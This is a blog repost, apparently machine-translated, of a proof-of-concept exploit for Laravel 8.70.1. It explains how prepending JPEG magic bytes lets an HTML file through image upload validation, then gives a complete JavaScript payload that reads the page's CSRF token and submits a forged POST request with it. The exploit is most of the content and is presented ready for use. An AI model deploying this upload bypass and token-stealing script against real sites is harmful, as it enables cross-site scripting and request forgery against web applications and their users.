当前位置:网站首页>PHP laravel 8.70.1 - cross site scripting (XSS) to cross Site Request Forgery (CSRF)
PHP laravel 8.70.1 - cross site scripting (XSS) to cross Site Request Forgery (CSRF)
2022-06-23 22:13:00 【Khan security team】
supply Business Homepage :https://laravel.com/
Software link :https://laravel.com/docs/4.2
edition :Laravel frame 8.70.1
test :Windows/Linux
explain :
We can bypass laravel Picture file upload function , stay web The server uploads any file # Let's run any javascript And bypass csrf token , For more information , Please read this https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b
Repeat step :
1- Use HxD Tool and add... At the beginning of the file FF D8 FF E0
2- Use the following code to bypass csrf token
3- Save it as Html File and upload .
<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
//
xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
// true on the end of here makes the call asynchronous
//Edit the path as you want
xhr.open("GET", "/image-upload", true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementsByTagName("input")[0];
// Show the token
alert("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
getTokenJS();
var POST_URL="/"
getTokenJS();
</script>
</html>边栏推荐
- How do I install the API gateway? What should I pay attention to?
- Cloud native practice of meituan cluster scheduling system
- [同源策略 - 跨域问题]
- [same origin policy - cross domain issues]
- Leetcode must review six lintcode (28348455116385)
- [vulnerability recurrence]log4j vulnerability rce (cve-2021-44228)
- Introduction to scikit learn machine learning practice
- Code implementation of CAD drawing online web measurement tool (measuring distance, area, angle, etc.)
- How does the fortress machine log in to the production server? What is the function of the fortress machine?
- Raid card with hardware knowledge (5)
猜你喜欢

ICML2022 | 基于对比学习的离线元强化学习的鲁棒任务表示

北大、加州伯克利大學等聯合| Domain-Adaptive Text Classification with Structured Knowledge from Unlabeled Data(基於未標記數據的結構化知識的領域自適應文本分類)

Cloud native practice of meituan cluster scheduling system

《阿里云天池大赛赛题解析》——O2O优惠卷预测

北大、加州伯克利大学等联合| Domain-Adaptive Text Classification with Structured Knowledge from Unlabeled Data(基于未标记数据的结构化知识的领域自适应文本分类)

Icml2022 | robust task representation for off-line meta reinforcement learning based on contrastive learning

使用 Provider 改造屎一样的代码,代码量降低了2/3!

Ten thousand words! Understand the inheritedwidget local refresh mechanism

ACL2022 | MVR:面向开放域检索的多视角文档表征

Introduction to scikit learn machine learning practice
随机推荐
What if the fortress remote access server fails? What are the reasons why the fortress computer fails to connect to the server?
Go language core 36 lectures (go language practice and application 26) -- learning notes
KnowDA: All-in-One Knowledge Mixture Model for Data Augmentation in Few-Shot NLP(KnowDA:用于 Few-Shot NLP 中数据增强的多合一知识混合模型)
The "Star" industry in the small town is escorted by wechat cloud hosting
Tencent cloud database tdsql elite challenge Q & A (real-time update)
Analysis of Alibaba cloud Tianchi competition -- prediction of o2o coupon
What happened when the fortress remote login server was blocked? What can be done to solve it?
How ppt creates a visual chart
How to realize batch generation of serial number QR code
Icml2022 | robust task representation for off-line meta reinforcement learning based on contrastive learning
How to deal with high memory in API gateway how to maintain API gateway
Lighthouse open source application practice: snipe it
Kubernetes cluster lossless upgrade practice
Polar cycle graph and polar fan graph of high order histogram
HR SaaS is finally on the rise
Tdsql elite challenge CVM voucher usage guide
Dart series: look at me for security. The security feature in dart is null safety
How to build an API gateway and how to maintain an API gateway?
Don't let your server run naked -- security configuration after purchasing a new server (Basics)
Take you to understand the working process of the browser